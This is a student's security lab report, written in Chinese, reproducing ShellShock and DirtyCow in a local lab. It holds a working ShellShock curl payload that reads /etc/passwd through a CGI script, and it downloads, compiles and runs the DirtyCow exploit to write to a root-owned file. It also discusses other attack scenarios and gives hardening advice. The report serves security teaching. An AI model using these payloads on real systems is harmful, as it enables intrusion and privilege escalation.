LAB № 5

潘亦晟, 515021910384 06/02/2018

1 ShellShock

- 实验环境：Ubuntu 17.10 amd64
- 实验工具：Apache2、wget、curl
- 实验目的：了解 ShellShock 漏洞的产生原因并熟悉 CGI 场景下 ShellShock 漏洞的利用

1.1 使用如下命令访问 vuln.cgi 所在的页面，查看 response。

```
curl -H 'x: () { :;};a='/bin/cat /etc/passwd';echo $a' http://127.0.0.1/cgi-bin/vuln.cgi -I
```

response 如图 1。

```
pys666@ubuntu:~/Downloads/is308_labs/Lab5$ curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo $a' http://127.0.0.1/cgi-bin/vuln.cgi -I
HTTP/1.1 200 OK
Date: Sat, 02 Jun 2018 07:06:44 GMT
Server: Apache/2.4.27 (Ubuntu)
root: x:0:0:root:/root:/bin/bash
daemon: x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin: x:2:2:bin:/bin:/usr/sbin/nologin
sys: x:3:3:sys:/dev:/usr/sbin/nologin
sync: x:4:65534:sync:/bin:/bin/sync
games: x:5:60:games:/usr/games:/usr/sbin/nologin
man: x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp: x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail: x:8:8:mail:/var/mail:/usr/sbin/nologin
news: x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp: x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy: x:13:13:proxy:/bin:/usr/sbin/nologin
www-data: x:33:33:www-data:/var/www:/usr/sbin/nologin
backup: x:34:34:backup:/var/backups:/usr/sbin/nologin
list: x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc: x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats: x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody: x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync: x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network: x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve: x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy: x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog: x:104:108::/home/syslog:/bin/false
messagebus: x:105:109::/var/run/dbus:/bin/false
_apt: x:106:65534::/nonexistent:/bin/false
uuidd: x:107:113::/run/uuidd:/bin/false
rtkit: x:108:114:RealtimeKit,,,:/proc:/bin/false
avahi-autoipd: x:109:115:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
usbmux: x:110:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
dnsmasq: x:111:65534:dnsmasq,,,:/var/lib/misc:/bin/false
whoopsie: x:112:119::/nonexistent:/bin/false
kernoops: x:113:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
speech-dispatcher: x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
avahi: x:115:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
saned: x:116:122::/var/lib/saned:/bin/false
pulse: x:117:123:PulseAudio daemon,,,:/var/run/pulse:/bin/false
colord: x:118:125:colord colour management daemon,,,:/var/lib/colord:/bin/false
hplip: x:119:7:HPLIP system user,,,:/var/run/hplip:/bin/false
geoclue: x:120:126::/var/lib/geoclue:/bin/false
gdm: x:121:127:Gnome Display Manager:/var/lib/gdm3:/bin/false
pys666: x:1000:1000:panyisheng,,,:/home/pys666:/bin/bash
Vary: Accept-Encoding
Content-Type: text/html
```

图 1: response

1.2 解释 Q1 中 PoC。

当 apache 使用 CGI 处理 HTTP 请求时，它会将请求中的某些信息复制到环境变量列表中，然后将请求转发给处理程序。如果处理程序是一个 Bash 脚本，或者如果它使用 syscall 执行某个脚本，Bash 将接收由服务器传递的环境变量，并按上述方式处理它们。这就提供了一种通过构造 HTTP 请求来触发 ShellShock 漏洞的场景。

我们将 shell 命令 **x: () :;;a='/bin/cat /etc/passwd';echo $a** 利用 curl -H 构造 HTTP 请求，使得 Bash 执行 shell 命令返回 **/bin/cat** 和**/etc/passwd** 信息。

1.3 列举可能会导致 ShellShock 漏洞的其他场景，讨论 ShellShock 产生的原因。

1.3.1 OpenSSH server

OpenSSH 具有 "ForceCommand" 功能，当用户登陆时，服务器仅仅执行固定格式的命名而不是执行任意无限制的命名，但是原始命名会被存入环境变量 **"SSH_ORIGINAL_COMMAND"** 。如果该固定命令运行在 **Bahs shell** 时，**Bahs shell** 将在开始时解析 **"SSH_ORIGINAL_COMMAND"** 环境变量，运行嵌入在环境变量中的命令。用户因此可以使用其受限 shell 访问获得无限制的 shell 访问权限。

1.3.2 DHCP clients

某些 DHCP 客户端会将命令传递给 Bash；当连接开放式 Wifi 时，一些存在漏洞的系统很容易被攻击。HCP 客户端通常会请求并从 DHCP 服务器获取 IP 地址，但它也可以提供一系列附加选项。在其中一个选项中，恶意 DHCP 服务器可以提供一个字符串，用于在易受攻击的工作站或笔记本电脑上执行代码。

1.3.3 Qmail server

当使用 Bash 处理电子邮件时，qmail 邮件服务器可以利用有漏洞版本的 Bash 传递外部输入执行 Bash 代码。

2 DirtyCow

- 实验环境：Ubuntu 12.04
- 实验目的：gcc
- 实验要求：了解 DirtyCow 漏洞的产生原因并熟悉 DirtyCow 漏洞的利用

这是一个存在于内核的条件竞争的漏洞，因此我们可以尝试利用这个漏洞来达到提权的目的。

2.1 复现 DirtyCow 的利用过程

2.1.1 检查实验环境的内核版本

我们使用 ***uname -a*** 命令查看 Ubuntu 12.04 环境的内核版本。结果见图 2。

```
gossip@gossip-VirtualBox:~$ uname -a
Linux gossip-VirtualBox 3.11.0-26-generic #45~precise1-Ubuntu SMP Tue Jul 15 04:0
2:35 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
gossip@gossip-VirtualBox:~$
```

图 2: 实验环境的内核版本

2.1.2 创建一个只有 root 可读写，而低权限只能读不能写的文件

我们使用 ***chmod 644 target.txt*** 和 ***sudo chown root:root target.txt*** 命令更改文件权限。流程见图 3

```
gossip@gossip-VirtualBox:~$ echo ABCDEFGHIJKLMN > target.txt
gossip@gossip-VirtualBox:~$ cat target.txt
ABCDEFGHIJKLMN
gossip@gossip-VirtualBox:~$ chmod 644 target.txt
gossip@gossip-VirtualBox:~$ sudo chown root:root target.txt
[sudo] password for gossip:
```

图 3: create file

验证 target.txt 权限：见图 4

```
drwx------  2 gossip gossip  4096 Jun  2 15:00 .pulse
-rw-------  1 gossip gossip   256 May 28 12:21 .pulse-cookie
-rw-r--r--  1 root   root      15 Jun  2 15:11 target.txt
drwxr-xr-x  2 gossip gossip  4096 May 28 12:21 Templates
drwxr-xr-x  2 gossip gossip  4096 May 28 12:21 Videos
```

图 4: target.txt 权限

同时我们以普通用户对 **target.txt** 文件进行写操作，发现 **Permission denied。**

2.1.3 编译利用代码

```
1 wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/↩
    dirtyc0w.c
2 gcc -pthread dirtyc0w.c -o dirtyc0w
```

2.1.4 运行 dirtyc0w

```
gossip@gossip-VirtualBox:~$ gcc -pthread dirtyc0w.c -o dirtyc0w
gossip@gossip-VirtualBox:~$ ./dirtyc0w target.txt abcdefghijklmn
mmap 7f255b5f8000

madvise 0

procselfmem 1400000000

gossip@gossip-VirtualBox:~$ cat target.txt
abcdefghijklmn
```

图 5: dirtyc0w.c

我们发现普通用户通过运行 **dirtyc0w.c** 实现了对原来仅有 root 用户可写的 **target.txt** 文件的写操作，达到了提权操作。见图 5。

2.2 该漏洞可能造成哪些影响

DirtyCow 可以实现提权，使得普通用户可以对 root 写权限的文件进行写操作，一个严重的利用就是对**/etc/shadow**,**/etc/passwd** 进行写操作，创建 root 用户。

2.3 如果你作为一家公司的运维，当该漏洞被纰漏并且 Linux 内核还未修复该漏洞，你该如何加固你的服务器?

- 拆分系统管理员的权限，取消超级管理员，从而限制入侵者获取管理员账户时的权限；
- 删除不需要的各种账户，避免被攻击者利用；
- 关闭不需要的服务端口，一是减少攻击者的入侵点，二是避免被入侵者当作后门利用；
- 限制远程登录者的权限，尤其是系统管理权限；
- 查询论坛中公布的修补方法。